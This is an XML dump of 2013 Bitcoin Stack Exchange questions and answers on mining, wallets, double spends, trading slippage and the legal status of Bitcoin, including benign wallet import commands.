  <row Id="12844" PostTypeId="2" ParentId="8526" CreationDate="2013-08-22T07:29:37.763" Score="0" Body="&lt;p&gt;bitcoind is an application. Shared web hosts generally do not allow custom applications. They have &lt;code&gt;php&lt;/code&gt;, &lt;code&gt;rails&lt;/code&gt;, etc which runs user &lt;strong&gt;scripts&lt;/strong&gt; but not applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need a VPS or dedicated server where you can install your own applications.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2013-08-22T07:29:37.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12845" PostTypeId="2" ParentId="12827" CreationDate="2013-08-22T07:32:42.937" Score="1" Body="&lt;p&gt;You've already made a post on reddit, made a thread on bitcointalk and added it to the wiki, but if you want to advertise it (as in paid advertising) then you can try the following sites:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;coinurl.com - banner and text advertising, fairly cheap&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitads.net - you choose which sites you want to advertise on. can be quite cheap too&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a-ads.net - no account system, just create a campaign and deposit. again, fairly cheap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin advertising are generally much cheaper than traditional advertising. If you accept Inputs.io, you can also get a free ad slot on Inputs' wallet page, and an instant payment button sounds perfect for selling digital files :)&lt;/p&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="1906" LastEditDate="2013-08-22T09:48:49.393" LastActivityDate="2013-08-22T09:48:49.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12846" PostTypeId="2" ParentId="12035" CreationDate="2013-08-22T08:05:06.490" Score="1" Body="&lt;p&gt;TXIDs cannot change. TXIDs are simply hashes of the transaction. It is &lt;strong&gt;possible&lt;/strong&gt; for two different transactions to have the same TXID - that's called a hash collision. However, the chances of that happening are so low and I believe you will actually win prize money if you find a collision.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2013-08-22T08:05:06.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12847" PostTypeId="2" ParentId="12826" CreationDate="2013-08-22T08:27:13.500" Score="1" Body="&lt;p&gt;I recommend this article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/bitcoin-law-what-us-businesses-need-to-know/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/bitcoin-law-what-us-businesses-need-to-know/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Individual bitcoin miners who convert their “created” coins to fiat are money transmitters, even though they never act “as a business,” nor accept value from one person to transfer it to a third person.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, assuming that you aim to convert some of your mined bits, you are taxed as a money transmitter along with the regulations for transmitters, FinCen compliance etc. &lt;/p&gt;&#xA;" OwnerUserId="4842" LastEditorUserId="4842" LastEditDate="2013-08-22T09:33:02.427" LastActivityDate="2013-08-22T09:33:02.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12850" PostTypeId="2" ParentId="12797" CreationDate="2013-08-22T12:51:58.170" Score="7" Body="&lt;p&gt;The answer is hidden in this forum post &lt;a href=&quot;https://forum.litecoin.net/index.php/topic,2231.msg22387.html#msg22387&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;You have the same problem that is common in P2Pool threads, your miner is (relatively) slow compared to the size of the pool, as such you are not solving the required 1 P2Pool share every 24 hours (not the work your miner is submitting). You will get paid when your miner solves a share with a difficulty greater than the current P2Pool Share difficulty (see the website), this is currently about 1.320658 (or 87.4k in CGMiner speak).&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The PPLNS payment system is not to be considered as the best for slow hash rate miners. To get payouts, you need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;solve at least one hash every 24h hours which is &lt;em&gt;higher&lt;/em&gt; than the p2pool share difficulty = gets at least one payout each day.&lt;/li&gt;&#xA;&lt;li&gt;solve at least one hash within the window of the current block with a difficulty &lt;em&gt;higher&lt;/em&gt; than the p2pool share difficulty = gets at least one payout each block.&lt;/li&gt;&#xA;&lt;li&gt;check if your p2pool server avoids dust payments, meaning that very small payments are hold back until a certain threshold is reached, e.g. &gt; 0.01 ŁTC.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm mining at around 100kH/s (867.9 block difficulty) and only recieving payments once every four/five blocks. This is a bit discouraging but in total I'm getting higher payouts than mining in &lt;em&gt;normal&lt;/em&gt; pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the minimum recommended hashrate for p2pool-miners is &lt;a href=&quot;http://ltc.noshit.pl/p2pool&quot; rel=&quot;nofollow&quot;&gt;590 kHash/s&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiply by 65536 to convert to P2P difficulty to CGminer difficulty.&lt;/p&gt;&#xA;" OwnerUserId="6441" LastEditorUserId="-1" LastEditDate="2013-12-24T14:15:46.740" LastActivityDate="2013-12-24T14:15:46.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12851" PostTypeId="2" ParentId="10851" CreationDate="2013-08-22T13:41:59.050" Score="1" Body="&lt;p&gt;No, slippage also occurs because the price can move adversely between your decision to sell and your order's execution on the market. Typically in financial markets the other participants can see a large order and move their limit orders accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're talking about is called &quot;sweeping&quot;. This is simply the fact that there are not enough orders at the best price to match a sufficiently large order. If you have a market order you will then end up filling the next price, which will be worse.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2013-08-22T13:41:59.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12852" PostTypeId="1" CreationDate="2013-08-22T14:00:10.973" Score="2" ViewCount="626" Body="&lt;p&gt;Judging from this list, not very often:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/double-spends&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/double-spends&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this the case? I would have guessed they would have been more frequent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it OK to always accept (small-to-medium) transactions as valid then?&lt;/p&gt;&#xA;" OwnerUserId="6193" LastEditorUserId="6193" LastEditDate="2013-08-22T17:28:20.670" LastActivityDate="2013-12-20T23:27:42.177" Title="How often do double spends happen successfully?" Tags="|doublespend|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12853" PostTypeId="1" AcceptedAnswerId="12866" CreationDate="2013-08-22T14:14:02.443" Score="0" ViewCount="253" Body="&lt;p&gt;I have read conflicting reports on whether Thailand declared Bitcoin illegal or not. What has happened and how did it affect Bitcoin commerce in Thailand?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To what degree are there restrictions? I.e. which out of the common actions (possession, personal transactions, mining, private trading and commercial trading) with bitcoin are illegal?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2017-12-10T12:09:06.333" Title="Are Bitcoin in Thailand illegal?" Tags="|legal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12856" PostTypeId="2" ParentId="10851" CreationDate="2013-08-22T16:47:09.210" Score="0" Body="&lt;p&gt;Slippage is typically measured against the initial lowest ask / highest bid. If you place a limit order to buy at $110, but as it happens the lowest ask was $100 and due to slippage the average execution price was $105, you suffered 5% slippage even though the execution price was better than your limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, in this case your order effectively behaves like a market order. When placing a limit order you will never pay more than your limit.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-22T16:47:09.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12857" PostTypeId="1" AcceptedAnswerId="12995" CreationDate="2013-08-22T17:29:44.953" Score="0" ViewCount="1210" Body="&lt;p&gt;I followed &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7+&quot; rel=&quot;nofollow noreferrer&quot;&gt;this guide&lt;/a&gt; to import private keys which I generated with &lt;a href=&quot;https://forum.litecoin.net/index.php?topic=860.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;vanitygen&lt;/a&gt; into litecoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walletpassphrase yourLongPassphrase 300&#xA;importprivkey yourPrivateKeyInWalletImportFormat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now - why are imported private keys stored to &lt;em&gt;addressbook&lt;/em&gt; instead of local &lt;em&gt;recieving&lt;/em&gt; addresses in litecoin-qt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gx1EU.png&quot; alt=&quot;own address in address book?&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a bit confusing. Can I recieve payments to that generated addresses now as the addresses where default wallet addresses?&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2013-08-28T16:43:36.587" Title="Why are imported private keys stored to addressbook instead to recieving wallet?" Tags="|bitcoin-core|litecoin|private-key|vanity-address|import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12858" PostTypeId="1" AcceptedAnswerId="12883" CreationDate="2013-08-22T18:18:17.527" Score="10" ViewCount="3766" Body="&lt;p&gt;I discovered that there are some questions that discuss finer points of the Open Transactions Software, however the project itself could use a proper definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please explain concisely what the Open Transactions is:&#xA;How does Open Transactions work, what problems does it solve and how does money get into the open transactions network?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-08-23T05:11:57.827" LastActivityDate="2013-08-23T17:14:20.020" Title="What is Open Transactions?" Tags="|open-transactions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12859" PostTypeId="2" ParentId="12852" CreationDate="2013-08-22T19:05:04.407" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki explains it better than I can&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the short answer is that's the reason most participants &lt;a href=&quot;https://en.bitcoin.it/wiki/Confirmation&quot; rel=&quot;nofollow noreferrer&quot;&gt;wait for at least 6 confirmations&lt;/a&gt; before accepting a transaction as valid.  The likelihood of hash collisions or other potential attacks having any success going undetected drops with each confirmation, and 6 confirmations is usually chosen as an &quot;overkill&quot; number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question from the post title, though, refer to this question's answers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/722/has-there-ever-been-a-successful-double-spend-attack-on-the-bitcoin-network-if?rq=1&quot;&gt;Has there ever been a successful double spend attack on the Bitcoin network? If not, is it really necessary to wait for confirmations?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what they say is correct, it seems we really don't know if and when (or how often) any double-spends have actually been successful.&lt;/p&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-08-22T20:42:51.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12860" PostTypeId="1" AcceptedAnswerId="12863" CreationDate="2013-08-22T19:23:29.603" Score="0" ViewCount="322" Body="&lt;p&gt;Officiall docs says about this command: &quot;Move from one account in your wallet to another&quot; &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also from official docs: &quot;Moves are not broadcast to the network, and never incur transaction fees; they just adjust account balances in the wallet.&quot; &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand - account is a list of private-public keys (and assosiated metadata)&#xA;So only action that we can do - move one or more key pairs from one account to another.&#xA;But in this case we have a problem - we could not move any arbitrary amount of BTC, but only the amount that already associated with addresses. Strange command...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what does this command actually?&lt;/p&gt;&#xA;" OwnerUserId="6395" LastActivityDate="2013-08-22T21:15:27.257" Title="How doest the bitcoind command &quot;move&quot; work?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ClosedDate="2013-09-13T01:19:05.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="12862" PostTypeId="2" ParentId="12826" CreationDate="2013-08-22T20:52:17.710" Score="0" Body="&lt;p&gt;IANAL but I think Bitcoin mining falls under none of those. Bitcoin mining is the act of creating currency from base materials (in this case, cryptography), so in reality it's more like running a mint.&lt;/p&gt;&#xA;" OwnerUserId="4722" LastActivityDate="2013-08-22T20:52:17.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12863" PostTypeId="2" ParentId="12860" CreationDate="2013-08-22T21:15:27.257" Score="0" Body="&lt;p&gt;I think it refers to the accounts having a shared pool of money. When account A gets a deposit, the account gets a tally and it goes into the pool. When account B gets a deposit, the account gets a tally and it goes into the same pool. Moving money from A to B doesn't actually move the money address-wise, just changes the tallies. So if account A withdraws MORE than account A had deposited, part of that money will come from account B's deposit. &lt;/p&gt;&#xA;" OwnerUserId="4722" LastActivityDate="2013-08-22T21:15:27.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12864" PostTypeId="2" ParentId="11545" CreationDate="2013-08-22T21:44:49.953" Score="0" Body="&lt;p&gt;The short answer is no.  The ' PCI ' card in that link is a PCIx16.  The PCI standard ( usualy white colored slots ) is really slow compared to the short PCIx1 ( usually short black ) slots.  I have looked in to those ' adapters ' for PCI to PCIE and they slow down the connection further.  I also have a few PCIx16 v2.0 cards that are not recognised on any motherboard that is either PCIx16 v1.0a, v1.0.  and no amount of jumpers, adapters, etc will ever get them recognised due to how the motherboard manufacturer updates their BIOS due to wiring for the difference between the versions.  It is cheaper, faster and easier to set up another motherboard ( with the adapter from the short to long x16 slots ) to get a second mining rig going.  I have hardware experience and enough old motherboards given to me that if there was a way to ' plug in ' a mining card to the PCI slot ( with or with out adapters ) and guarantee that it would work, there would be a link to youtube showing how to do it. &lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-22T21:44:49.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12865" PostTypeId="2" ParentId="12858" CreationDate="2013-08-22T22:32:49.593" Score="-2" Body="&lt;p&gt;Open Transactions are transactions that have been started by one wallet to another and have not been processed by the network.  They are ' in ' the network, but have not actually been mined in to a block.  Once it has been processed, barring the block it is submitted in to being ' Orphaned ' by chance, it is considered by some as processed until there have been enough other mining pools, wallets, and such as to make that block the transaction is in a valid block.  If you look in a list of transactions, the status will change after each successive block until it is Confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ' money ' gets in to the open transaction network when one wallet sends payments from it's holdings ( and will be confirmed that THAT wallet has that to spend plus the transaction fee, if any ) to the connected wallets and network nodes.  It is this list that pools draw from for the information to make a block.  The more open transactions, the more potential blocks, the more to mine so that pools, individuals and the network get payment.  Bitcoin and other virtual currencies is a transaction based economy where instead of turning on a printer to make new currency, the system of processing the transactions adds to the total available currency.  That per Block base amount lessons over time making it more and more difficult to get the same value per block submitted and is suplimented by the volume of transaction fees within the block.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-22T22:32:49.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12866" PostTypeId="2" ParentId="12853" CreationDate="2013-08-22T22:44:52.583" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.co.th/trading-suspended-due-to-bank-of-thailand-advisement/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.co.th/trading-suspended-due-to-bank-of-thailand-advisement/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short version of that article direct from Bitcoin is...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not send/receive/mine Bitcoin if you are in Thailand.  Do not buy/sell to any one where the receiving/sending wallet is in Thailand and/or the product (virtual or real) is sent via Thailand.  Currency laws have not caught up to virtual currencies and how ( if it can be done ) it can be taxed. Bitcoin, as a group, has decided it is in the best interest of the virtual currency to try and stop trades to/from that country and ask people there to not mine ( it is really hard to stop someone from logging in to a pool and mining if they want to )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Co. Ltd. has currency exchange applications currently pending review with the Bank of Thailand&lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-22T22:44:52.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12868" PostTypeId="2" ParentId="12826" CreationDate="2013-08-22T23:34:08.817" Score="0" Body="&lt;p&gt;The Canadian answer is more confusing with new regulations.  It works out that you can mine all you want, it's when it is converted to/from things it is ' income '.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basics is like the barter system and can follow the analogy of a farmer with a cow.  Your cow, born on your farm, ( for this analogy, the cow is a child of one of your own cows or one you paid taxes already on several years ago and the butcher paid Revenue Canada for you when it was slaughtered for meat ) has no Revenue Canada Value until you sell the milk.&#xA;It is then you are libel on the tax portion on the estimated value of the milk sold, no matter what it was traded for, the remainder of the cow and unsold milk/butter ( manure if you want to get the whole potential income from a cow ) is not taxable until it too is traded. The not fun part is finding the value of eggs ( insert Litecoin for analogy purposes ) and the current market value and the volume of milk to eggs in the trade, even IF you got the short end of the stick.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as with the cow analogy, trading Bitcoin ( milk in the analogy ) for  LuckyCoin (bread for the  analogy with the added bonus of a dying currency ) you need to have some reference for the value of both in real world currency and as such are taxable on the exchange.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just don't trade it for a stereo with a ' used 50K value '  and keep good records for tax season.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-22T23:34:08.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12869" PostTypeId="2" ParentId="12813" CreationDate="2013-08-22T23:54:49.200" Score="1" Body="&lt;p&gt;This error has been showing up recently and it seems to me ( just my 2 cents here ) that it works down to 2 possible issues, the most common is physical memory in your system.  The more memory available to Bitcoin, the better as the block chain is getting to the point I almost need a new hard drive just for the block chain.  It helps if you have more than 2 Gig of ram, not how much space is left on the hard drive, although that can also cause cannot allocate memory errors on some systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, start with this link, if your model is listed, look in to more memory and all that involves. If it isn't, look at what ones listed there are comparable to yours and consider upgrading to one that can have the memory upgraded later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://support.apple.com/kb/HT1270&quot; rel=&quot;nofollow&quot;&gt;http://support.apple.com/kb/HT1270&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option is to move your block chain information to a different folder and reopen Bitcoin and see how far it goes to download the block chain information.  If the second option ' magically ' clears it, it could be due to one of the alternate currencies based on Bitcoin and one of the peers sending erroneous block chain information.  If it does run in to an issue with 10 or more weeks left to update, then it is a memory issue.  Also, back up your wallet.dat file ( copy to some thing like btcwallet.dat ) on to a removable drive as it contains your ' basic wallet including password lock ' information and a new system could rebuild your current wallet with that one file.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-22T23:54:49.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12870" PostTypeId="2" ParentId="12808" CreationDate="2013-08-22T23:57:15.070" Score="1" Body="&lt;p&gt;That would be best left to contacting the support of the online wallet.  Most online wallets use that kind of login and usually have a link for support.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-22T23:57:15.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12871" PostTypeId="2" ParentId="12793" CreationDate="2013-08-23T00:17:28.780" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;yes, it's complicated, you need to run the equivalent of remote desktop to gain access to the user/date file where the wallet.dat file is and the related block chain information.  Even with Linux, you can not set multiple users with the same block chain information and wallet with out some form of ' fake access ' to that particular machine as that particular user.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;2.Considered extremely unsafe and bad practice.  Anyone with the right network tools could intercept your contact to the host and copy enough to log in as you and send the whole wallet to their own with no way of reversing the transaction.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;no, once you have access on the host machine for what it cares is that user typing in to it, no stopping someone from remotely sending all your coins to their wallet or you sending your transactions from that one wallet if there is the coins for it.  The passwords and such would seem to the host system that the user was at the keyboard typing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I recently switched to Ubuntu ( Linux ) from XP due to the amount of times remote assistant or remote desktop kept re-re-re-installing itself.  Any operating system that allows remote access will not have an issue with any other operating system connecting to it, passing authentication, then treating the incoming commands ( no mater how self destructive ) as if they were at the keyboard.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternatives is to have the ' current ' block chain on the systems, close Bitcoin, replace the wallet.dat from a backup ( each time ), wait for the rescan, do the transaction, close Bitcoin, put back the non-shared wallet.dat file so that it prevents any one else accessing that unit from getting a copy of your wallet to spend hours hacking.  The wallet info is the wallet, the block chain is the copy of ALLLL transactions.  No wallet, no way to send from that address, Bitcoin will create a new ( empty ) one on start up if there isn't already one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Agreed on the Blockchain wallet option, every online wallet has the cost per transaction issue and you can set so few transactions as a bulk send with it.  The best option is just have one wallet on one system that has remote administration removed, no remote desktop and you physically at the keyboard to send.  The VPN ( Virtual Private Network ) option still would require remote desktop ( SSH connection as ROOT in the Linux world ) to log in and open the Bitcoin Client as a specific user on that system to gain access to that particular copy of the block chain and that particular wallet.  Part of the built in security is where the wallet is stored.  In Windows, it is in the logged in user's application storage directory  ( documents and settings\user\Bitcoin ) and only THAT user can get Bitcoin-QT to access that particular directory.  As an option to look in to, the owner of Slush's Pool ( Bitcoin mining pool ) was working with some people on a portable wallet.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-23T00:17:28.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12872" PostTypeId="1" AcceptedAnswerId="12874" CreationDate="2013-08-23T02:22:03.883" Score="-1" ViewCount="7620" Body="&lt;p&gt;I have been having some trouble with mining. I have no &lt;a href=&quot;https://en.wikipedia.org/wiki/OpenCL&quot; rel=&quot;nofollow&quot;&gt;OpenCL&lt;/a&gt; compatible hardware, so that severely limits the software I can use (for example, &lt;a href=&quot;http://guiminer.org/&quot; rel=&quot;nofollow&quot;&gt;GUIMiner&lt;/a&gt; only allows OpenCL). Is there a way that I can mine bitcoins without an OpenCL compatible CPU or GPU?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Mobile Intel® 4 Series Express GPU and an Intel Pentium dual-core CPU 2.3&amp;nbsp;GHz (both have the drivers updated to the most recent relase). I have tried to install OpenCL, but my hardware doesn't support it. I have looked around and CPU mining is what seems to be the answer, but I get errors with a lot of miners. I have heard that the bitcoin wallet software can CPU mine, but to my knowledge you can only mine whole blocks not in a pool and a whole block is unreasonable with my setup. Is my current setup not able to mine bitcoins? &lt;/p&gt;&#xA;" OwnerUserId="6482" LastEditorUserId="5406" LastEditDate="2016-04-28T14:31:10.683" LastActivityDate="2016-04-28T14:31:10.683" Title="Problems with mining Bitcoin (OpenCL)" Tags="|miner-configuration|gpu-mining|mining-software|cpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12874" PostTypeId="2" ParentId="12872" CreationDate="2013-08-23T04:41:12.383" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/pooler/cpuminer&quot; rel=&quot;nofollow&quot;&gt;Pooler's CPU miner&lt;/a&gt; (right side, download zip link), also known as Minerd. You may need to install Visual C++ on your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is easy to find and download, does not use OpenCL (programming extension for graphics cards). With the mobile, I will assume that it is a laptop so CPU mining will make it really hot. Keep in mind if you do have PCIx16 there are versions of the slot that will make it not compatible with newer graphics cards. I currently have a system with version 1.0a and an older &lt;a href=&quot;http://en.wikipedia.org/wiki/ATI_Technologies#Multimedia_and_Digital_TV_products&quot; rel=&quot;nofollow&quot;&gt;ATI&lt;/a&gt; version 2.0 card is not even seen to be plugged in on that board and works great in another system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a limit for mining with how long Bitcoin has been out as to profitability. With pooled mining, CPU mining can be done with a Stratum Proxy run on your system as a form of buffer for mining to cut down the traffic (also known as get work requests) Minerd will do. It may take months or years before your first coin, but it can be done. Check your CPU by looking at the list of Intel CPUs here for expected rates with Minerd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others will tell you at the beginning that it's not enough to be worth having the systems tied down doing all that hashing due to power costs. They don't get the big picture and would not think of things like &lt;em&gt;&lt;a href=&quot;http://www.zdnet.com/build-your-own-supercomputer-out-of-raspberry-pi-boards-7000015831/&quot; rel=&quot;nofollow&quot;&gt;Build your own supercomputer out of Raspberry Pi boards&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the Raspberry Pi running Minerd, each would get around 0.46 Khash/sec, so a 32 unit cluster would be estimated 15.36&amp;nbsp;Khash/sec at less than the power for the system to read this posting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option of upgrading to a newer system with a mining capable card, keeping what you got and getting more of them running Minerd, or some other option is open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ' big ' issue for mining is more than the hash rate your systems can do. It is if you can afford the power while it is mining. I have yet to see threads dealing with the new power generating tech out there that can power the mining rigs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;em&gt;&lt;a href=&quot;http://www.treehugger.com/renewable-energy/tiny-plastic-wind-turbines-suitable-for-city-dwellers.html&quot; rel=&quot;nofollow&quot;&gt;Tiny, Plastic Wind Turbines Suitable for City Dwellers&lt;/a&gt;&lt;/em&gt; as an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this answers your question and then some.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastEditorUserId="1405" LastEditDate="2014-06-16T21:19:37.380" LastActivityDate="2014-06-16T21:19:37.380" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12875" PostTypeId="2" ParentId="12840" CreationDate="2013-08-23T04:48:22.587" Score="0" Body="&lt;p&gt;As it relates to Bitcoin, no.  Bitcoin is a peer to peer network for sharing the transactions and would require some server out there running TOR to convert the rest of the network to the same TOR and redistribute the transactions.  I have not heard of any plans of implementing this in to Bitcoin transactions of any kind. If, on the other hand, your multibit traffic is not a virtual currency, I would recomend checking port forwarding settings on the application to local host 127.0.0.1:(port) and see if the GUI can allow that.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-23T04:48:22.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12876" PostTypeId="2" ParentId="5746" CreationDate="2013-08-23T06:44:38.297" Score="1" Body="&lt;p&gt;The simple answer is to compare the results of 2 sites for an answer.  Both are coin mining hardware comparison pages, one for script, the other is for sha256.  Unfortunately, there is little information for the older Nvidia cards on the scrypt mining.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SHA-256: https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/li&gt;&#xA;&lt;li&gt;Scrypt: http://litecoin.info/Mining_Hardware_Comparison&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;they also include a few other CPUs and Arm processors as well as FPGAs.  With FPGA multiplication and parallel addition, the more core segments, the more likely it can do it and do it fast with out having to buffer a sum then use the sum as input back in to the equation.  Spartan 6 FPGAs are a good example of fast units, and depending which one, possibly able to do multiplication as a low level logic function rather than use a math processor due to the logic cells available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as GPU features go, the newer, faster and the more shader cores ( or equivalent ) the better at math the card will be.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastEditorUserId="7563" LastEditDate="2014-01-10T03:28:34.440" LastActivityDate="2014-01-10T03:28:34.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
